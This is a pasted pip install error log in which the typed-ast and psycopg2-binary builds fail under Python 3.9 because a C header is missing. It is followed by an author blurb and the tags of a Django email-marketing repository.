ERROR: Failed building wheel for typed-ast Running setup.py clean for typed-ast Successfully built python-decouple coverage billiard maxminddb Failed to build psycopg2-binary typed-ast Installing collected packages: vine, urllib3, pytz, idna, chardet, amqp, typed-ast, requests, pyflakes, pycodestyle, prompt-toolkit, mccabe, maxminddb, kombu, Faker, Django, billiard, tox, python-decouple, psycopg2-binary, mypy, isort, ipython, html2text, geoip2, flake8, factory-boy, django-ratelimit, django-debug-toolbar, django-crispy-forms, dj-database-url, coverage, celery, beautifulsoup4 Running setup.py install for typed-ast ... error ERROR: Command errored out with exit status 1: command: /usr/local/bin/python3.9 -u -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-3m9k2s8f/typed-ast_13e2b13fd3284df9a746449af656e4db/setup.py'"'"'; file='"'"'/tmp/pip-install-3m9k2s8f/typed-ast_13e2b13fd3284df9a746449af656e4db/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(file) if os.path.exists(file) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' install --record /tmp/pip-record-zeafi0cm/install-record.txt --single-version-externally-managed --user --prefix= --compile --install-headers /home/csestack/.local/include/python3.9/typed-ast cwd: /tmp/pip-install-3m9k2s8f/typed-ast_13e2b13fd3284df9a746449af656e4db/ Complete output (24 lines): running install running build running build_py creating build creating build/lib.linux-x86_64-3.9 creating build/lib.linux-x86_64-3.9/typed_ast copying typed_ast/conversions.py -> build/lib.linux-x86_64-3.9/typed_ast copying typed_ast/init.py -> build/lib.linux-x86_64-3.9/typed_ast copying typed_ast/ast3.py -> build/lib.linux-x86_64-3.9/typed_ast copying typed_ast/ast27.py -> build/lib.linux-x86_64-3.9/typed_ast running build_ext building '_ast27' extension creating build/temp.linux-x86_64-3.9 creating build/temp.linux-x86_64-3.9/ast27 creating build/temp.linux-x86_64-3.9/ast27/Custom creating build/temp.linux-x86_64-3.9/ast27/Parser creating build/temp.linux-x86_64-3.9/ast27/Python gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Iast27/Include -I/usr/local/include/python3.9 -c ast27/Custom/typed_ast.c -o build/temp.linux-x86_64-3.9/ast27/Custom/typed_ast.o gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -Iast27/Include -I/usr/local/include/python3.9 -c ast27/Parser/acceler.c -o build/temp.linux-x86_64-3.9/ast27/Parser/acceler.o ast27/Parser/acceler.c:13:10: fatal error: pgenheaders.h: No such file or directory 13 | #include "pgenheaders.h" | ^~~~~~~~~~~~~~~ compilation terminated. error: command '/usr/bin/gcc' failed with exit code 1 ---------------------------------------- ERROR: Command errored out with exit status 1: /usr/local/bin/python3.9 -u -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-3m9k2s8f/typed-ast_13e2b13fd3284df9a746449af656e4db/setup.py'"'"'; file='"'"'/tmp/pip-install-3m9k2s8f/typed-ast_13e2b13fd3284df9a746449af656e4db/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(file) if os.path.exists(file) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' install --record /tmp/pip-record-zeafi0cm/install-record.txt --single-version-externally-managed --user --prefix= --compile --install-headers /home/csestack/.local/include/python3.9/typed-ast Check the logs for full command output. 12:29 ~/colossus (master)$ pip install -r requirements

Vitor Freitas

Software Engineer and Co-Founder @eskolare, PhD student of Information Processing Science @M3SOulu. Occasionally I write about Python and Django @sibtc

GitHub Repository Homepage

django mailing email-marketing python python3 mailing-list automation email-automation